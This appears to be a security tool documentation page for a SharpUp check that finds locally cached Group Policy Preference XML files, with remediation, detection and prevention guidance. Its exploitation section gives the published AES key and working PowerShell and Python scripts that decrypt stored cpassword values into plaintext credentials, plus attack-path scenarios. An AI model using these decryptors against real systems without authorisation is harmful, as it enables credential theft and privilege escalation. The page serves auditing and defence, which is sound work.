> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# Cached GPP Password

> Group Policy Preference passwords cached locally

## Overview

The Cached GPP Password check searches for locally cached Group Policy Preference (GPP) XML files that may contain encrypted passwords. These files are stored in `%ALLUSERSPROFILE%\Microsoft\Group Policy\History` and can contain credentials for local users, service accounts, scheduled tasks, and mapped drives.

<Info>
  Even though Microsoft patched the ability to create new GPP passwords (KB2962486), old cached files may still contain these credentials.
</Info>

## How It Works

SharpUp searches the local GPP cache directory for XML files that commonly contain passwords:

```
%ALLUSERSPROFILE%\Microsoft\Group Policy\History\**\*.xml
```

**Target Files:**

* Groups.xml (local group membership with passwords)
* Services.xml (service account credentials)
* Scheduledtasks.xml (scheduled task credentials)
* DataSources.xml (database connection strings)
* Printers.xml (printer configurations)
* Drives.xml (mapped drive credentials)
* Registry.xml (registry settings)

### Technical Details

1. Locates the Group Policy cache folder
2. Recursively searches for target XML files
3. Parses XML for encrypted password fields (`cpassword` attribute)
4. Reports files containing passwords
5. Can decrypt passwords using the published AES key

### Decryption

GPP passwords are encrypted with AES-256-CBC, but Microsoft published the static encryption key:

```
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
```

This makes all GPP passwords trivially decryptable.

## Example Output

```
=== Cached GPP Password ===
    File: C:\ProgramData\Microsoft\Group Policy\History\{GUID}\Machine\Preferences\Groups\Groups.xml
    Type: Groups
    Username: Administrator
    Password: P@ssw0rd123!
```

## Exploitation

### Method 1: Using PowerUp

```powershell theme={null}
# Import PowerUp
Import-Module .\PowerUp.ps1

# Find and decrypt GPP passwords
Get-CachedGPPPassword
```

### Method 2: Manual Decryption

```powershell theme={null}
function Decrypt-GPPPassword {
    param(
        [string]$EncryptedPassword
    )

    $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
    $AesIV = New-Object Byte[]($AesKey.Length)

    $Aes = [System.Security.Cryptography.Aes]::Create()
    $Aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $Aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $Aes.Key = $AesKey
    $Aes.IV = $AesIV

    $DecryptorTransform = $Aes.CreateDecryptor()
    $EncryptedPasswordBytes = [System.Convert]::FromBase64String($EncryptedPassword)
    $DecryptedPasswordBytes = $DecryptorTransform.TransformFinalBlock($EncryptedPasswordBytes, 0, $EncryptedPasswordBytes.Length)
    $DecryptedPassword = [System.Text.Encoding]::Unicode.GetString($DecryptedPasswordBytes)

    return $DecryptedPassword.TrimEnd([char]0)
}

# Find and decrypt GPP passwords
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"
Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml |
ForEach-Object {
    [xml]$xml = Get-Content $_.FullName
    $xml.Groups.User | Where-Object { $_.Properties.cpassword } | ForEach-Object {
        Write-Host "Found in: $($_.FullName)"
        Write-Host "Username: $($_.Properties.userName)"
        Write-Host "Password: $(Decrypt-GPPPassword $_.Properties.cpassword)"
    }
}
```

### Method 3: Using gpp-decrypt

```bash theme={null}
# Linux tool for GPP password decryption
gpp-decrypt "encrypted_password_here"
```

### Method 4: Python Script

```python theme={null}
import base64
from Crypto.Cipher import AES

def decrypt_gpp_password(encrypted_password):
    # AES key published by Microsoft
    key = bytes([0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b])

    # Decode base64
    encrypted_bytes = base64.b64decode(encrypted_password)

    # Decrypt
    cipher = AES.new(key, AES.MODE_CBC, IV=bytes(len(key)))
    decrypted = cipher.decrypt(encrypted_bytes)

    # Remove padding
    return decrypted.decode('utf-16-le').rstrip('\x00')

# Usage
encrypted = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
print(decrypt_gpp_password(encrypted))
```

## Remediation

<Steps>
  <Step title="Locate Cached Files">
    ```powershell theme={null}
    # Find all GPP files in cache
    $cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"
    Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml
    ```
  </Step>

  <Step title="Review and Delete">
    ```powershell theme={null}
    # Delete cached GPP files containing passwords
    # CAUTION: Review before deletion
    Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml |
    ForEach-Object {
        $content = Get-Content $_.FullName -Raw
        if ($content -match 'cpassword') {
            Write-Host "Deleting: $($_.FullName)"
            Remove-Item $_.FullName -Force
        }
    }
    ```
  </Step>

  <Step title="Change Exposed Credentials">
    Any credentials found in cached GPP files should be changed immediately:

    ```powershell theme={null}
    # Change password for exposed account
    net user username NewP@ssw0rd123!
    ```
  </Step>

  <Step title="Clean SYSVOL Source">
    Also remediate the source in SYSVOL - see [Domain GPP Password](/GhostPack/SharpUp-mdx/checks/domaingpppassword) for details.
  </Step>
</Steps>

## Detection

### Defensive Monitoring

```powershell theme={null}
# Monitor access to GPP cache folder
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"

# Enable auditing
$acl = Get-Acl $cachePath
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success"
)
$acl.AddAuditRule($auditRule)
Set-Acl $cachePath $acl

# Check Event Log for access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'Group Policy\\History'}
```

### Detection Strategies

<Tabs>
  <Tab title="File Access Monitoring">
    * Monitor read access to Group Policy History folder
    * Alert on access to Groups.xml, Services.xml, etc.
    * Track which users are accessing cached GPP files
  </Tab>

  <Tab title="Process Monitoring">
    * Monitor PowerShell execution with GPP-related cmdlets
    * Detect base64 decoding of GPP passwords
    * Alert on gpp-decrypt tool usage
  </Tab>

  <Tab title="Network Monitoring">
    * Monitor for SYSVOL access from unusual sources
    * Detect bulk downloading of XML files from SYSVOL
    * Track lateral movement using discovered credentials
  </Tab>
</Tabs>

## Real-World Scenarios

<AccordionGroup>
  <Accordion title="Scenario 1: Old Domain Migration">
    **Context:** Organization migrated from old domain but workstations retain cached GPP files from 5+ years ago.

    **Risk:** Cached files may contain credentials for:

    * Old administrator accounts (may still be valid)
    * Service accounts (often not changed)
    * Shared local administrator passwords

    **Impact:** Attacker gains immediate privileged access using old credentials.
  </Accordion>

  <Accordion title="Scenario 2: Scheduled Task Credentials">
    **Context:** Scheduledtasks.xml in cache contains domain service account credentials.

    **Attack Path:**

    1. Find cached Scheduledtasks.xml
    2. Extract and decrypt service account password
    3. Authenticate as service account
    4. Escalate if service account has elevated privileges
  </Accordion>

  <Accordion title="Scenario 3: Local Administrator Password">
    **Context:** Groups.xml set the local administrator password for all workstations.

    **Impact:**

    * Attacker can authenticate as local admin on any workstation
    * Enables lateral movement across entire environment
    * Potential for credential dumping via mimikatz
  </Accordion>
</AccordionGroup>

## Prevention

### Best Practices

<CardGroup cols={2}>
  <Card title="Don't Use GPP Passwords" icon="ban">
    Never use Group Policy Preferences to deploy passwords. Use alternatives like LAPS or gMSA.
  </Card>

  <Card title="Clean Old Files" icon="trash">
    Regularly audit and delete cached GPP files from all systems.
  </Card>

  <Card title="Rotate Credentials" icon="key">
    Assume any credential in GPP is compromised and rotate immediately.
  </Card>

  <Card title="Use LAPS" icon="shield">
    Implement Local Administrator Password Solution for managing local admin passwords.
  </Card>
</CardGroup>

### Automated Cleanup Script

```powershell theme={null}
# Deploy via GPO startup script to clean all workstations
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"

if (Test-Path $cachePath) {
    Get-ChildItem -Path $cachePath -Recurse -Include *.xml |
    Where-Object {
        $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
        $content -match 'cpassword'
    } |
    ForEach-Object {
        Write-EventLog -LogName Application -Source "GPP Cleanup" -EventId 1000 -Message "Deleted: $($_.FullName)"
        Remove-Item $_.FullName -Force
    }
}
```

## Related Checks

<CardGroup cols={2}>
  <Card title="Domain GPP Password" icon="network-wired" href="/ghostpack-docs/SharpUp-mdx/checks/domaingpppassword">
    Check SYSVOL for GPP passwords on domain controllers
  </Card>

  <Card title="Registry AutoLogons" icon="key" href="/ghostpack-docs/SharpUp-mdx/checks/registryautologons">
    Find plaintext passwords in registry
  </Card>

  <Card title="Unattended Install Files" icon="file" href="/ghostpack-docs/SharpUp-mdx/checks/unattendedinstallfiles">
    Discover credentials in unattended installation files
  </Card>

  <Card title="Remediation Guide" icon="shield" href="/ghostpack-docs/SharpUp-mdx/remediation">
    Comprehensive remediation guidance
  </Card>
</CardGroup>

## References

<CardGroup cols={2}>
  <Card title="Microsoft KB2962486" icon="book" href="https://support.microsoft.com/en-us/kb/2962486">
    MS14-025: Vulnerability in GPP could allow elevation of privilege
  </Card>

  <Card title="MITRE ATT&CK" icon="book" href="https://attack.mitre.org/techniques/T1552/006/">
    T1552.006 - Unsecured Credentials: Group Policy Preferences
  </Card>
</CardGroup>
